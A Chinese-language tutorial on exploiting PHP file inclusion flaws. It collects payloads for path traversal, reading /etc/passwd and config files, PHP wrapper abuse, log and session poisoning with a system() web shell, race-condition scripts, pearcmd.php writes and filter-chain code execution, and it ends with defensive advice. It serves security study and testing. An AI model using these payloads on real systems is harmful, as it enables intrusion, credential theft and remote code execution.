PHP 文件包含漏洞(File Inclusion)指南
0x00 漏洞概述
文件包含漏洞(File Inclusion)是 Web 安全中一种常见且高危的漏洞。当 PHP 应用程序使用 include、require、include_once 或 require_once 等函数引入文件时,如果文件名(路径)由用户可控且未经过严格过滤,攻击者就可以通过构造恶意路径,让服务器包含并执行非预期的文件。
这可能导致:
- 敏感信息泄露(LFI) :读取
/etc/passwd、数据库配置文件、源代码等。 - 远程代码执行(RCE):通过包含包含恶意 PHP 代码的文件(如日志文件、上传的临时文件、Session 文件等),获得服务器权限。
- 远程文件包含(RFI):如果配置允许,可直接包含远程服务器上的恶意脚本。
0x01 基础知识与环境
1. 核心函数
include($file): 包含并运行指定文件。如果文件不存在,抛出 E_WARNING ,脚本继续执行。require($file): 与include类似,但如果文件不存在,抛出 E_COMPILE_ERROR ,脚本停止执行。include_once($file): 如果文件已被包含过,则不会再次包含。require_once($file): 如果文件已被包含过,则不会再次包含。
2. 关键配置 (php.ini)
| 配置项 | 默认值 (PHP 5.2+) | 描述 | 影响 |
|---|---|---|---|
allow_url_fopen |
On | 是否允许打开远程文件(如 http://、ftp://)作为文件流。 |
影响 file:// 等部分协议。 |
allow_url_include |
Off | 是否允许 include/require 远程文件。 |
影响 php://input、data://、http:// 等。RFI 的必要条件。 |
open_basedir |
NULL | 将 PHP 所能打开的文件限制在指定的目录树中。 | 防御 LFI 的有效手段。 |
0x02 基础利用与绕过
1. 基础 Payload
假设漏洞代码为:
php
<?php include $_GET['file']; ?>
- 本地文件读取 (Linux) :
?file=/etc/passwd - 本地文件读取 (Windows) :
?file=C:\Windows\win.ini
2. 目录遍历 (Path Traversal)
如果代码中预置了路径前缀:
php
<?php include "lang/" . $_GET['file']; ?>
攻击者可以使用 ../ 回退目录:
?file=../../../../etc/passwd
3. 后缀绕过
如果代码中强制添加了后缀:
php
<?php include $_GET['file'] . ".php"; ?>
A. Null Byte 截断 (%00)
- 条件 : PHP < 5.3.4 且
magic_quotes_gpc = Off。 - 原理 : PHP 底层 C 语言函数将
\0视为字符串结束符。 - Payload :
?file=../../etc/passwd%00 - 解析 : 服务器实际看到的是
../../etc/passwd\0.php,在passwd处截断。
B. 路径长度截断
- 条件: PHP 版本较低(主要是 PHP 5.2.x)。
- 原理: 操作系统对路径长度有限制(Windows 256 字节,Linux 4096 字节)。超过长度的部分会被丢弃。
- Payload :
?file=../../etc/passwd/./././././...[重复数百次].../././. - 解析 :
passwd后的.php因为超出缓冲区长度被丢弃。
C. 协议利用 (zip://, phar://)
- 原理 : 某些伪协议(如
zip://)允许通过#指定压缩包内的文件,#后的内容作为压缩包内路径,代码拼接的.php不会影响zip://对压缩包路径的解析(或者利用#截断)。 - Payload :
?file=zip:///tmp/test.zip%23shell(代码自动拼接.php->shell.php)
0x03 PHP 伪协议 (Wrappers) 详解
PHP 提供了一系列 I/O 流包装器,熟练利用它们是利用文件包含漏洞的关键。
1. file://
- 描述: 访问本地文件系统。
- 依赖 : 不受
allow_url_fopen和allow_url_include限制。 - Payload :
?file=file:///etc/passwd
2. php://filter (源码读取神器)
-
描述: 这是一个元封装器,设计用于数据流打开时的筛选过滤。
-
用途 : 读取 PHP 文件源码。直接
includePHP 文件会执行它,看不到源码;使用base64-encode过滤器可以将源码编码输出。 -
Payload :
?file=php://filter/read=convert.base64-encode/resource=config.php(解码 Base64 即可得到源码)
-
进阶技巧 :
- 绕过死亡 exit : 当
file_put_contents($file, "<?php exit();" . $content)时,利用 filter 链(如string.strip_tags去除 XML 标签,或convert.base64-decode配合特定填充)将exit()破坏或解码为乱码。
- 绕过死亡 exit : 当
3. php://input (RCE 神器)
- 描述: 访问请求的原始数据的只读流。
- 依赖 :
allow_url_include = On。 - 用途: 执行 POST 数据中的 PHP 代码。
- Payload :
- URL :
?file=php://input - POST Data :
<?php system('ls'); ?>
- URL :
4. zip://, bzip2://, zlib:// (压缩流)
- 描述: 访问压缩文件中的子文件。
- 依赖 : 不受
allow_url_include限制。 - 场景: 可以上传 zip/jpg 文件,但无法直接包含时。
- 利用 :
- 制作包含
<?php phpinfo(); ?>的shell.php。 - 压缩为
shell.zip,改名为shell.jpg上传。 - Payload :
?file=zip:///var/www/html/uploads/shell.jpg%23shell.php
(注意: URL 中的#必须编码为%23)
- 制作包含
5. data:// (文本流)
- 描述: RFC 2397 定义的数据流。
- 依赖 :
allow_url_fopen = On且allow_url_include = On。 - Payload :
?file=data://text/plain,<?php phpinfo(); ?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
0x04 进阶利用:环境资源投毒
当无法上传文件时,我们可以寻找服务器上已有的、内容可控的文件进行包含。
1. Web 日志投毒 (Apache/Nginx)
- 原理: Web 服务器会将用户的请求信息(User-Agent, Referer, URL)记录在访问日志(access.log)或错误日志(error.log)中。
- 利用步骤 :
-
确认日志路径 : 猜测常见路径(如
/var/log/apache2/access.log,/var/log/nginx/access.log)或通过phpinfo/ 读取配置文件获取。 -
注入恶意代码 : 使用 Netcat 或 Burp Suite 发送请求,将 User-Agent 修改为 PHP 代码。
bashnc target.com 80 GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['c']); ?> -
包含日志 :
?file=/var/log/apache2/access.log&c=ls
-
- 注意 :
- 直接在浏览器修改 UA 可能会被 URL 编码,导致 PHP 代码失效,建议使用 Burp。
- Docker 环境限制 : Docker 容器通常将日志重定向到
/dev/stdout和/dev/stderr,PHP 默认没有权限包含这些设备文件,导致此法失效。
2. SSH 日志投毒
- 原理 : SSH 登录失败时,用户名会被记录在
/var/log/auth.log。 - 利用步骤 :
-
使用恶意用户名尝试登录 SSH:
bashssh '<?php system($_GET[c]); ?>'@target_ip -
包含日志文件:
?file=/var/log/auth.log&c=ls
-
- 依赖 : 目标开放 SSH 且 Web 用户(www-data)有权读取
/var/log/auth.log(通常需要 root 权限,但在某些配置不当的系统中可行)。
3. /proc/self/environ
- 原理 : Linux 进程的
/proc/PID/environ文件包含该进程的环境变量,self指向当前进程。User-Agent等 HTTP 头可能会出现在这里(取决于 CGI/FastCGI 配置)。 - 利用 : 修改 User-Agent 注入代码,然后包含
/proc/self/environ。 - 现状: 现代系统和配置中,此文件通常不可读或不包含 User-Agent,成功率较低。
0x05 高级技巧:临时文件与条件竞争
如果无法利用日志,我们可以利用 PHP 或 Web 服务器处理请求时产生的临时文件。
1. PHPInfo + LFI (条件竞争)
- 原理 :
- 当向 PHP 发送
multipart/form-data请求(文件上传)时,无论后端是否处理上传,PHP 都会将文件暂存在临时目录(如/tmp/phpXXXXXX)。 - 该临时文件名在
phpinfo()页面中是可见的(_FILES["file"]["tmp_name"])。 - 请求结束后,临时文件被删除。
- 当向 PHP 发送
- 利用 :
- 攻击者并发发送大量请求:
- 线程 A : 发送包含文件上传的请求给
phpinfo.php,并读取响应,提取临时文件名。 - 线程 B: 拿到文件名后,迅速向存在 LFI 漏洞的页面发送请求包含该文件。
- 线程 A : 发送包含文件上传的请求给
- 技巧 : 在请求中加入大量垃圾数据(Padding),迫使
phpinfo输出变慢,延长临时文件存活时间。
- 攻击者并发发送大量请求:
- 适用场景 : 目标网站存在
phpinfo页面。
2. Session Upload Progress (无需 phpinfo)
-
原理 :
session.upload_progress.enabled默认为 On。- 当 POST 请求包含
PHP_SESSION_UPLOAD_PROGRESS字段时,PHP 会在上传过程中更新 Session 文件(如/tmp/sess_[PHPSESSID])。 - Session 内容包含我们传入的字段值(可控)。
session.upload_progress.cleanup默认为 On,上传完成后立即清除 Session。
-
利用 :
- 构造请求 : 发送 POST 请求,包含文件(大文件以延长上传时间)和
PHP_SESSION_UPLOAD_PROGRESS(值为 Payload)。 - 设置 Cookie :
PHPSESSID=flag(指定 Session 文件名为/tmp/sess_flag)。 - 条件竞争 : 在上传完成前(Session 被清除前),不断请求 LFI 页面包含
/tmp/sess_flag。
- 构造请求 : 发送 POST 请求,包含文件(大文件以延长上传时间)和
-
Payload 示例 :
python# 伪代码逻辑 while True: requests.post(url, files={'f': ('a.txt', 'A'*10000)}, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("ls"); ?>'}, cookies={'PHPSESSID': 'flag'} ) # 并发线程: while True: requests.get(lfi_url + "?file=/tmp/sess_flag")
3. PHP 7 Segment Fault (崩溃保留临时文件)
- 原理 :
- 如果在文件上传请求处理过程中让 PHP 进程崩溃(Segment Fault),PHP 将来不及清理临时文件。
- 这些临时文件会永久滞留在
/tmp目录。
- 触发崩溃 :
- 利用
php://filter/string.strip_tags/resource=/etc/passwd(PHP 7.0 - 7.2 某些版本)。 - 利用特定的 filter 组合触发内存错误。
- 利用
- 利用 :
- 发送会导致崩溃的请求,同时上传文件(包含 Payload)。
- 重复多次,使
/tmp下积累多个名为phpXXXXXX的文件。 - 暴力破解文件名进行包含(Windows 下文件名只有 65535 种可能,Linux 下较难爆破但可结合其他信息)。
0x06 特定环境下的"奇技淫巧"
1. Windows 环境:通配符妙用
- 背景 : PHP 在 Windows 下调用
FindFirstFileExW查找文件,该 API 支持特殊的 DOS 通配符。<(DOS_STAR): 匹配 0 个或多个字符。>(DOS_QM): 匹配 1 个字符。"(DOS_DOT): 匹配点号。
- 利用 :
- 上传文件产生临时文件(通常在
C:\Windows\Temp\phpXXXX.tmp)。 - 我们不知道具体的
XXXX,但可以使用php<<来匹配。
- 上传文件产生临时文件(通常在
- Payload :
?file=C:\Windows\Temp\php<< - 解析 :
php<<会匹配到php1A2B.tmp,从而成功包含。
2. Docker 环境:pearcmd.php 利用
-
背景 :
- Docker 的官方 PHP 镜像默认安装了 PEAR 扩展。
- PEAR 的命令行工具位于
/usr/local/lib/php/pearcmd.php。 - Docker 容器中
register_argc_argv默认为 On。
-
原理 :
- 当
register_argc_argv=On时,HTTP 请求的 Query String(如?key=value)在特定条件下(RFC 3875,无等号)会被解析为命令行参数$argv。 - 包含
pearcmd.php后,它会读取$argv并作为 PEAR 命令执行。
- 当
-
利用 : 调用 PEAR 的
config-create命令,将 Payload 写入文件。 -
Payload :
httpGET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1(解释:
config-create将第一个参数的内容写入到第二个参数指定的文件中)
执行后,服务器会在/tmp/shell.php写入包含phpinfo的代码,随后包含该文件即可。
3. Nginx FastCGI 缓冲 (Temp File LFI)
- 背景 :
- 当 Nginx 接收到的 FastCGI 响应过大(超过
fastcgi_buffer_size)或请求 Body 过大时,会将内容写入临时文件。 - 临时文件路径通常为
/var/lib/nginx/fastcgi/x/y/000...。 - 文件创建后会被 Nginx 立即删除(unlink),但只要 Nginx 进程未关闭该文件句柄(FD),文件内容仍在磁盘上。
- 当 Nginx 接收到的 FastCGI 响应过大(超过
- 利用 :
- 触发缓存: 发送超大 Body 或让后端返回超大响应,迫使 Nginx 生成临时文件。
- 寻找文件 : 在 Linux 中,已删除但被进程打开的文件可以通过
/proc/PID/fd/FD_ID访问。 - 竞争包含 :
- 我们需要猜测 Nginx Worker 的 PID 和 FD 编号。
- Payload:
?file=/proc/[PID]/fd/[FD] - 通过并发请求进行爆破和竞争。
4. require_once 绕过:多级软链接
- 问题 :
require_once维护一个哈希表,记录已包含文件的inode或路径。如果想再次包含已被包含的敏感文件(例如为了结合 filter 读取 config.php 源码),会被拦截。 - 技巧 : Linux 下
/proc/self/root是指向根目录/的软链接。 - 利用 :
-
通过多层软链接改变文件路径,使其在 PHP 看来是一个"新文件",但实际指向同一个文件。
-
Payload :
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php -
当软链接嵌套层数足够多时,可能会绕过 PHP 的某些缓存机制或路径规范化检查。
-
0x07 无文件 RCE:PHP Filter Chain (The End Of LFI)
这是一种不需要上传任何文件、不需要任何已有文件的 RCE 技术(hxp CTF 2021 提出)。
-
原理 :
- 利用
php://filter的链式调用。 convert.iconv.*过滤器在进行字符集转换时(如 UTF-8 转 UTF-7、UTF-8 转 ISO-2022-KR 等),会产生特定的字节序列。- 通过组合多种字符集转换,可以"凭空"生成任意的 Base64 字符。
- 结合
convert.base64-decode,可以将生成的 Base64 字符串解码为 PHP 代码。
- 利用
-
利用 :
- 不需要依赖任何外部文件,只需要能控制
include的参数。 - 使用工具生成超长的 filter 链。
- 不需要依赖任何外部文件,只需要能控制
-
Payload 示例 :
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|...|resource=data://,a
0x08 防御建议
-
彻底杜绝变量覆盖 : 严禁直接将用户输入作为文件名传入
include/require。 -
使用白名单 :
php$files = ['home' => 'home.php', 'about' => 'about.php']; if (array_key_exists($_GET['file'], $files)) { include $files[$_GET['file']]; } -
配置强化 (
php.ini) :open_basedir: 限制 PHP 只能访问特定目录。allow_url_include = Off: 禁止远程文件包含。
-
关闭不必要的功能 : 如非必要,关闭
session.upload_progress.enabled。 -
WAF 拦截 : 过滤
../,php://,/proc/,/var/log/等敏感关键字。
免责声明: 本文仅供网络安全学习与技术研究,请勿用于非法用途。